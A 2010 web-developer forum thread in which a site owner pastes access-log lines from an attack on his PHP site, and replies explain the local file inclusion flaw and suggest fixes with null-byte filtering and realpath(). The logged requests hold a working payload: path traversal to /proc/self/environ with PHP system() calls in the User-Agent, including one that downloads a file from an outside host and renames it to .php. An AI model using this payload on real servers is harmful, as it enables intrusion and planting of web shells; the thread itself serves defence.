/    Sign up×
Community /Pin to ProfileBookmark

how php injection works

I’ve looked throughout the web for a real php injection example and discussion for how it works so I know exactly how to thwart it. I haven’t found it, so I’m going to post what happened to me. Hope there isn’t some etiquette about this or that this imperils all of us now

[CODE]
64.120.149.69 – – [04/Jul/2010:13:15:39 -0500] “GET /catalog/?product_id=150824//index2.php?option=com_product&controller=../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 34775 “-” “Mozilla/5.0 XHOSTNAME<?php echo system(‘hostname;echo ;’); ?>XHOSTNAMEXSIP<?php echo $_SERVER[‘SERVER_ADDR’]; ?>XSIPXUNAME<?php echo system(‘uname -a;echo ;’); ?>XUNAMEXUSERID<?php echo system(‘id;echo ;’); ?>XUSERIDXPWD<?php echo system(‘pwd;echo ;’); ?>XPWDXPHP<?php echo phpversion(); ?>XPHPEXPLORE<pre><?php echo system(‘ls -al; echo ; exit;’); ?></pre>EXPLORE”
64.120.149.69 – – [04/Jul/2010:13:16:07 -0500] “GET /catalog/?product_id=149288//index.php?option=com_product&controller=../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 34772 “-” “Mozilla/5.0 XHOSTNAME<?php echo system(‘hostname;echo ;’); ?>XHOSTNAMEXSIP<?php echo $_SERVER[‘SERVER_ADDR’]; ?>XSIPXUNAME<?php echo system(‘uname -a;echo ;’); ?>XUNAMEXUSERID<?php echo system(‘id;echo ;’); ?>XUSERIDXPWD<?php echo system(‘pwd;echo ;’); ?>XPWDXPHP<?php echo phpversion(); ?>XPHPEXPLORE<pre><?php echo system(‘ls -al; echo ; exit;’); ?></pre>EXPLORE”
64.120.149.69 – – [04/Jul/2010:13:16:30 -0500] “GET /catalog/?product_id=149288//index.php?option=com_product&controller=../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 34323 “-” “Mozilla/5.0 XHOSTNAME<?php echo system(‘hostname;echo ;’); ?>XHOSTNAMEXSIP<?php echo $_SERVER[‘SERVER_ADDR’]; ?>XSIPXUNAME<?php echo system(‘uname -a;echo ;’); ?>XUNAMEXUSERID<?php echo system(‘id;echo ;’); ?>XUSERIDXPWD<?php echo system(‘pwd;echo ;’); ?>XPWDXPHP<?php echo phpversion(); ?>XPHPEXPLORE<pre><?php echo system(‘lwp-download http://sep-a.biz/tools/flash.txt; echo ; exit;’); ?></pre>EXPLORE”
64.120.149.69 – – [04/Jul/2010:13:16:37 -0500] “GET /catalog/?product_id=149288//index.php?option=com_product&controller=../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 35005 “-” “Mozilla/5.0 XHOSTNAME<?php echo system(‘hostname;echo ;’); ?>XHOSTNAMEXSIP<?php echo $_SERVER[‘SERVER_ADDR’]; ?>XSIPXUNAME<?php echo system(‘uname -a;echo ;’); ?>XUNAMEXUSERID<?php echo system(‘id;echo ;’); ?>XUSERIDXPWD<?php echo system(‘pwd;echo ;’); ?>XPWDXPHP<?php echo phpversion(); ?>XPHPXCWD<?php chdir(’19 /home/sbsrus/public_html 1 1e’); ?>XCWDEXPLORE<pre><?php echo system(‘ls -al; echo ; exit;’); ?></pre>EXPLORE”
64.120.149.69 – – [04/Jul/2010:13:16:58 -0500] “GET /catalog/?product_id=149288//index.php?option=com_product&controller=../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 34203 “-” “Mozilla/5.0 XHOSTNAME<?php echo system(‘hostname;echo ;’); ?>XHOSTNAMEXSIP<?php echo $_SERVER[‘SERVER_ADDR’]; ?>XSIPXUNAME<?php echo system(‘uname -a;echo ;’); ?>XUNAMEXUSERID<?php echo system(‘id;echo ;’); ?>XUSERIDXPWD<?php echo system(‘pwd;echo ;’); ?>XPWDXPHP<?php echo phpversion(); ?>XPHPEXPLORE<pre><?php echo system(‘mv flash.txt flash.php; echo ; exit;’); ?></pre>EXPLORE”

[/CODE]

I have no clue what the %00 is but it turns into a weird character on my url bar and without it, this whole thing doesn’t work. With it, the computer echoes out the user agent string and php code gets executed. The person appended //index2.php etc. etc. to my normal url stuff. I can’t image why doing //index2.php etc. works. There is no index2.php on my server. there is an index.php in the root, but then doesn’t everyone have an index.php in the root?

I thought I’d see if this is especially pernicious by trying this code out on other sites, but then I thought I’d go to jail, so instead, I’m just putting it out there.

to post a comment
PHP

5 Comments(s)

Copy linkTweet thisAlerts:
@NogDogJul 05.2010 — http://security.searix.net/?p=92

If the attack is working, then chances are your code is doing an include/require based on the $_GET data. It may also indicate a poorly configured server allowing the web server to execute /proc/self/environ, but I'm not enough of a sysadmin type to know for sure. Quick fix for now would be to filter out the null character (x00) from all inputs.
Copy linkTweet thisAlerts:
@MindzaiJul 05.2010 — To add to the above a combination of realpath() & basename() to ensure only files from your desired directories are included is always a good idea too.
Copy linkTweet thisAlerts:
@MindzaiJul 05.2010 — I've looked throughout the web for a real php injection example and discussion for how it works so I know exactly how to thwart it. I haven't found it...[/QUOTE]

PS: http://foro.undersecurity.net/read.php?15,3768
Copy linkTweet thisAlerts:
@martingalehauthorJul 06.2010 — I guess by explicitly setting controller to that long string which includes the environment, zend ignores what I wanted as the controller. Why is the %00 necessary? It wasnt' in the example. In fact, the example shows that not having the %00 works too. Does that mean someone else can try it without the %00 and it will still work if they do something else tricky?
Copy linkTweet thisAlerts:
@MindzaiJul 06.2010 — it isn't ignoring what you want, assuming the attack is actually working, it is including the file which is being requested. You need to adjust the include code to resolve the realpath() of the requested file and take steps to ensure it is a file you actually want to allow.

The &#37;00 is a null character, I guess maybe in some server configs it is necessary, but the actual attack comes from the inclusion of /proc/self/environ and the injecting of PHP code via the user agent string.
×

Success!

Help @martingaleh spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.20,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...